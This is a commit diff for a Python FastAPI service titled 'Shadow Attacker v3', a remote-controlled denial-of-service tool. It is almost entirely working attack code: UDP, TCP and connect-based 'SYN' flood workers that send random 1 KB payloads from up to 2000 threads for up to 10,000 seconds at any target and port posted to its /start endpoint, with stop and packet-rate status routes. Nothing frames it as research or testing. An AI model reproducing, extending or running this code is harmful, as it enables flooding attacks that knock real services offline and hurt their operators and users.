Update main.py
Browse files
main.py
CHANGED
|
@@ -1,3 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
| 1 |
import random
|
| 2 |
import socket
|
| 3 |
import threading
|
|
@@ -9,67 +12,84 @@ import uvicorn
|
|
| 9 |
from fastapi import FastAPI, HTTPException
|
| 10 |
from pydantic import BaseModel
|
| 11 |
|
| 12 |
-
#
|
| 13 |
import logging
|
| 14 |
-
logging.basicConfig(level=logging.INFO, format="%(
|
| 15 |
-
log = logging.getLogger(
|
| 16 |
|
| 17 |
-
app = FastAPI(title="Shadow Attacker")
|
| 18 |
|
|
|
|
| 19 |
stop_events: Dict[str, threading.Event] = {}
|
| 20 |
counters: Dict[str, int] = {}
|
| 21 |
counters_lock = threading.Lock()
|
| 22 |
total_packets = 0
|
| 23 |
-
log_buffer: deque[str] = deque(maxlen=
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 24 |
|
| 25 |
def _log(msg: str):
|
| 26 |
-
|
| 27 |
-
|
|
|
|
| 28 |
|
|
|
|
| 29 |
class StartRequest(BaseModel):
|
| 30 |
target: str
|
| 31 |
port: int = 80
|
| 32 |
-
threads: int =
|
| 33 |
-
|
|
|
|
| 34 |
|
| 35 |
class StatusResponse(BaseModel):
|
| 36 |
running: bool
|
| 37 |
attack_id: Optional[str]
|
| 38 |
total_packets: int
|
| 39 |
pps: float
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
counters: Dict[str, int]
|
| 41 |
logs: list[str]
|
| 42 |
|
| 43 |
-
#
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
global total_packets
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
|
| 53 |
-
|
| 54 |
-
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
except: pass
|
| 63 |
|
| 64 |
-
def
|
| 65 |
global total_packets
|
|
|
|
| 66 |
while not stop_event.is_set():
|
| 67 |
try:
|
| 68 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 69 |
-
sock.settimeout(
|
| 70 |
sock.connect((target, port))
|
| 71 |
while not stop_event.is_set():
|
| 72 |
-
sock.send(
|
| 73 |
with counters_lock:
|
| 74 |
counters[attack_id] = counters.get(attack_id, 0) + 1
|
| 75 |
total_packets += 1
|
|
@@ -79,13 +99,13 @@ def tcp_flood_worker(attack_id: str, target: str, port: int, stop_event: threadi
|
|
| 79 |
try: sock.close()
|
| 80 |
except: pass
|
| 81 |
|
| 82 |
-
def
|
| 83 |
global total_packets
|
| 84 |
while not stop_event.is_set():
|
| 85 |
try:
|
| 86 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 87 |
-
sock.settimeout(0.
|
| 88 |
-
sock.connect_ex((target, port))
|
| 89 |
with counters_lock:
|
| 90 |
counters[attack_id] = counters.get(attack_id, 0) + 1
|
| 91 |
total_packets += 1
|
|
@@ -95,86 +115,115 @@ def syn_flood_worker(attack_id: str, target: str, port: int, stop_event: threadi
|
|
| 95 |
try: sock.close()
|
| 96 |
except: pass
|
| 97 |
|
| 98 |
-
|
| 99 |
-
global total_packets
|
| 100 |
-
udp_flood_worker(attack_id, target, port, stop_event) # ACK sim via UDP
|
| 101 |
-
|
| 102 |
-
# ---------------------------------------------------
|
| 103 |
@app.post("/start")
|
| 104 |
def start_attack(req: StartRequest):
|
| 105 |
if any(not ev.is_set() for ev in stop_events.values()):
|
| 106 |
-
raise HTTPException(400, "Attack
|
|
|
|
|
|
|
|
|
|
|
|
|
| 107 |
|
| 108 |
attack_id = f"{req.target}_{int(time.time())}"
|
| 109 |
stop_ev = threading.Event()
|
| 110 |
stop_events[attack_id] = stop_ev
|
| 111 |
counters[attack_id] = 0
|
| 112 |
-
|
| 113 |
-
|
| 114 |
-
|
| 115 |
-
"udp":
|
| 116 |
-
"tcp":
|
| 117 |
-
"syn":
|
| 118 |
-
|
| 119 |
-
|
| 120 |
-
|
| 121 |
-
|
| 122 |
-
|
| 123 |
-
|
| 124 |
-
for i in range(req.threads):
|
| 125 |
-
t = threading.Thread(
|
| 126 |
-
target=worker_func,
|
| 127 |
-
args=(attack_id, req.target, req.port, stop_ev),
|
| 128 |
-
daemon=True
|
| 129 |
-
)
|
| 130 |
t.start()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 131 |
|
| 132 |
-
_log(f"
|
| 133 |
-
return {"message": "Attack
|
| 134 |
|
| 135 |
@app.post("/stop")
|
| 136 |
def stop_attack(attack_id: Optional[str] = None):
|
| 137 |
if attack_id and attack_id in stop_events:
|
| 138 |
stop_events[attack_id].set()
|
| 139 |
-
|
| 140 |
-
|
| 141 |
-
counters.pop(attack_id, None)
|
| 142 |
-
_log(f"🛑 STOPPED {attack_id}")
|
| 143 |
else:
|
| 144 |
-
for
|
| 145 |
-
stop_events[
|
| 146 |
-
|
| 147 |
-
|
| 148 |
-
counters.clear()
|
| 149 |
-
_log("🛑 STOPPED ALL")
|
| 150 |
return {"message": "Stopped"}
|
| 151 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 152 |
@app.get("/status", response_model=StatusResponse)
|
| 153 |
-
def
|
|
|
|
|
|
|
| 154 |
with counters_lock:
|
| 155 |
-
cnt =
|
| 156 |
tot = total_packets
|
| 157 |
-
|
| 158 |
-
|
| 159 |
-
|
| 160 |
-
|
| 161 |
-
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
|
| 165 |
-
|
| 166 |
-
|
| 167 |
-
|
| 168 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 169 |
|
| 170 |
return StatusResponse(
|
| 171 |
running=running,
|
| 172 |
attack_id=aid,
|
| 173 |
total_packets=tot,
|
| 174 |
pps=round(pps, 1),
|
| 175 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 176 |
logs=list(log_buffer)
|
| 177 |
)
|
| 178 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 179 |
if __name__ == "__main__":
|
| 180 |
-
uvicorn.run(
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# --------------------------------------------------------------
|
| 2 |
+
# SHADOW ATTACKER v3 – MAX POWER | 1000 THREADS | 10,000s LIMIT
|
| 3 |
+
# --------------------------------------------------------------
|
| 4 |
import random
|
| 5 |
import socket
|
| 6 |
import threading
|
|
|
|
| 12 |
from fastapi import FastAPI, HTTPException
|
| 13 |
from pydantic import BaseModel
|
| 14 |
|
| 15 |
+
# ------------------- LOGGING & STATE -------------------
|
| 16 |
import logging
|
| 17 |
+
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 18 |
+
log = logging.getLogger()
|
| 19 |
|
| 20 |
+
app = FastAPI(title="Shadow Attacker v3")
|
| 21 |
|
| 22 |
+
# Global state
|
| 23 |
stop_events: Dict[str, threading.Event] = {}
|
| 24 |
counters: Dict[str, int] = {}
|
| 25 |
counters_lock = threading.Lock()
|
| 26 |
total_packets = 0
|
| 27 |
+
log_buffer: deque[str] = deque(maxlen=500)
|
| 28 |
+
attack_end_times: Dict[str, float] = {}
|
| 29 |
+
|
| 30 |
+
# PPS tracking
|
| 31 |
+
last_time = time.time()
|
| 32 |
+
last_total = 0
|
| 33 |
|
| 34 |
def _log(msg: str):
|
| 35 |
+
ts = time.strftime("%H:%M:%S")
|
| 36 |
+
log.info(f"{ts} {msg}")
|
| 37 |
+
log_buffer.append(f"{ts} {msg}")
|
| 38 |
|
| 39 |
+
# ------------------- MODELS -------------------
|
| 40 |
class StartRequest(BaseModel):
|
| 41 |
target: str
|
| 42 |
port: int = 80
|
| 43 |
+
threads: int = 1000
|
| 44 |
+
duration: int = 300 # seconds, max 10000
|
| 45 |
+
attack_type: str = "udp" # udp, tcp, syn
|
| 46 |
|
| 47 |
class StatusResponse(BaseModel):
|
| 48 |
running: bool
|
| 49 |
attack_id: Optional[str]
|
| 50 |
total_packets: int
|
| 51 |
pps: float
|
| 52 |
+
threads: int
|
| 53 |
+
duration: int
|
| 54 |
+
elapsed: float
|
| 55 |
+
remaining: float
|
| 56 |
counters: Dict[str, int]
|
| 57 |
logs: list[str]
|
| 58 |
|
| 59 |
+
# ------------------- HIGH-PPS WORKERS -------------------
|
| 60 |
+
def create_udp_socket():
|
| 61 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 62 |
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
| 63 |
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
| 64 |
+
return sock
|
| 65 |
+
|
| 66 |
+
def udp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
|
| 67 |
global total_packets
|
| 68 |
+
payload = random._urandom(1024) # 1KB max speed
|
| 69 |
+
sock = create_udp_socket()
|
| 70 |
+
addr = (target, port)
|
| 71 |
+
try:
|
| 72 |
+
while not stop_event.is_set():
|
| 73 |
+
sock.sendto(payload, addr)
|
| 74 |
+
with counters_lock:
|
| 75 |
+
counters[attack_id] = counters.get(attack_id, 0) + 1
|
| 76 |
+
total_packets += 1
|
| 77 |
+
except:
|
| 78 |
+
pass
|
| 79 |
+
finally:
|
| 80 |
+
try: sock.close()
|
| 81 |
+
except: pass
|
|
|
|
| 82 |
|
| 83 |
+
def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
|
| 84 |
global total_packets
|
| 85 |
+
payload = random._urandom(1024)
|
| 86 |
while not stop_event.is_set():
|
| 87 |
try:
|
| 88 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 89 |
+
sock.settimeout(0.5)
|
| 90 |
sock.connect((target, port))
|
| 91 |
while not stop_event.is_set():
|
| 92 |
+
sock.send(payload)
|
| 93 |
with counters_lock:
|
| 94 |
counters[attack_id] = counters.get(attack_id, 0) + 1
|
| 95 |
total_packets += 1
|
|
|
|
| 99 |
try: sock.close()
|
| 100 |
except: pass
|
| 101 |
|
| 102 |
+
def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
|
| 103 |
global total_packets
|
| 104 |
while not stop_event.is_set():
|
| 105 |
try:
|
| 106 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 107 |
+
sock.settimeout(0.01)
|
| 108 |
+
sock.connect_ex((target, port))
|
| 109 |
with counters_lock:
|
| 110 |
counters[attack_id] = counters.get(attack_id, 0) + 1
|
| 111 |
total_packets += 1
|
|
|
|
| 115 |
try: sock.close()
|
| 116 |
except: pass
|
| 117 |
|
| 118 |
+
# ------------------- API ROUTES -------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
| 119 |
@app.post("/start")
|
| 120 |
def start_attack(req: StartRequest):
|
| 121 |
if any(not ev.is_set() for ev in stop_events.values()):
|
| 122 |
+
raise HTTPException(400, "Attack already in progress")
|
| 123 |
+
|
| 124 |
+
# Clamp values
|
| 125 |
+
req.threads = min(max(req.threads, 1), 2000)
|
| 126 |
+
req.duration = min(max(req.duration, 1), 10000)
|
| 127 |
|
| 128 |
attack_id = f"{req.target}_{int(time.time())}"
|
| 129 |
stop_ev = threading.Event()
|
| 130 |
stop_events[attack_id] = stop_ev
|
| 131 |
counters[attack_id] = 0
|
| 132 |
+
attack_end_times[attack_id] = time.time() + req.duration
|
| 133 |
+
|
| 134 |
+
worker = {
|
| 135 |
+
"udp": udp_flood,
|
| 136 |
+
"tcp": tcp_flood,
|
| 137 |
+
"syn": syn_flood
|
| 138 |
+
}.get(req.attack_type, udp_flood)
|
| 139 |
+
|
| 140 |
+
# Launch all threads at once
|
| 141 |
+
threads = []
|
| 142 |
+
for _ in range(req.threads):
|
| 143 |
+
t = threading.Thread(target=worker, args=(attack_id, req.target, req.port, stop_ev), daemon=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 144 |
t.start()
|
| 145 |
+
threads.append(t)
|
| 146 |
+
|
| 147 |
+
# Auto-stop thread
|
| 148 |
+
def auto_stop():
|
| 149 |
+
time.sleep(req.duration)
|
| 150 |
+
if attack_id in stop_events:
|
| 151 |
+
stop_events[attack_id].set()
|
| 152 |
+
_log(f"TIMEOUT: Attack {attack_id} ended after {req.duration}s")
|
| 153 |
+
cleanup(attack_id)
|
| 154 |
+
|
| 155 |
+
threading.Thread(target=auto_stop, daemon=True).start()
|
| 156 |
|
| 157 |
+
_log(f"UDP FLOOD → {req.target}:{req.port} ({req.threads} threads, {req.duration}s)")
|
| 158 |
+
return {"message": "Attack launched", "attack_id": attack_id, "duration": req.duration}
|
| 159 |
|
| 160 |
@app.post("/stop")
|
| 161 |
def stop_attack(attack_id: Optional[str] = None):
|
| 162 |
if attack_id and attack_id in stop_events:
|
| 163 |
stop_events[attack_id].set()
|
| 164 |
+
cleanup(attack_id)
|
| 165 |
+
_log(f"STOPPED {attack_id}")
|
|
|
|
|
|
|
| 166 |
else:
|
| 167 |
+
for aid in list(stop_events):
|
| 168 |
+
stop_events[aid].set()
|
| 169 |
+
cleanup(aid)
|
| 170 |
+
_log("STOPPED ALL ATTACKS")
|
|
|
|
|
|
|
| 171 |
return {"message": "Stopped"}
|
| 172 |
|
| 173 |
+
def cleanup(aid: str):
|
| 174 |
+
stop_events.pop(aid, None)
|
| 175 |
+
counters.pop(aid, None)
|
| 176 |
+
attack_end_times.pop(aid, None)
|
| 177 |
+
|
| 178 |
@app.get("/status", response_model=StatusResponse)
|
| 179 |
+
def status(attack_id: Optional[str] = None):
|
| 180 |
+
global last_time, last_total
|
| 181 |
+
|
| 182 |
with counters_lock:
|
| 183 |
+
cnt = dict(counters)
|
| 184 |
tot = total_packets
|
| 185 |
+
|
| 186 |
+
now = time.time()
|
| 187 |
+
elapsed_global = now - last_time
|
| 188 |
+
pps = (tot - last_total) / elapsed_global if elapsed_global > 0 else 0
|
| 189 |
+
last_time, last_total = now, tot
|
| 190 |
+
|
| 191 |
+
active = [aid for aid, ev in stop_events.items() if not ev.is_set()]
|
| 192 |
+
running = bool(active)
|
| 193 |
+
aid = attack_id if attack_id in stop_events else (active[0] if active else None)
|
| 194 |
+
|
| 195 |
+
if aid:
|
| 196 |
+
end = attack_end_times.get(aid, now)
|
| 197 |
+
elapsed = now - (end - (end - now))
|
| 198 |
+
remaining = max(0, end - now)
|
| 199 |
+
threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread"))
|
| 200 |
+
else:
|
| 201 |
+
elapsed = remaining = threads = 0
|
| 202 |
|
| 203 |
return StatusResponse(
|
| 204 |
running=running,
|
| 205 |
attack_id=aid,
|
| 206 |
total_packets=tot,
|
| 207 |
pps=round(pps, 1),
|
| 208 |
+
threads=threads,
|
| 209 |
+
duration=int(attack_end_times.get(aid, 0) - (attack_end_times.get(aid, 0) - now)) if aid else 0,
|
| 210 |
+
elapsed=round(elapsed, 1),
|
| 211 |
+
remaining=round(remaining, 1),
|
| 212 |
+
counters={aid: cnt.get(aid, 0)} if aid else cnt,
|
| 213 |
logs=list(log_buffer)
|
| 214 |
)
|
| 215 |
|
| 216 |
+
# ------------------- ROOT -------------------
|
| 217 |
+
@app.get("/")
|
| 218 |
+
def root():
|
| 219 |
+
return {"message": "Shadow Attacker v3 - /docs for API"}
|
| 220 |
+
|
| 221 |
+
# ------------------- START -------------------
|
| 222 |
if __name__ == "__main__":
|
| 223 |
+
uvicorn.run(
|
| 224 |
+
"main:app",
|
| 225 |
+
host="0.0.0.0",
|
| 226 |
+
port=8000,
|
| 227 |
+
workers=1,
|
| 228 |
+
log_level="warning"
|
| 229 |
+
)
|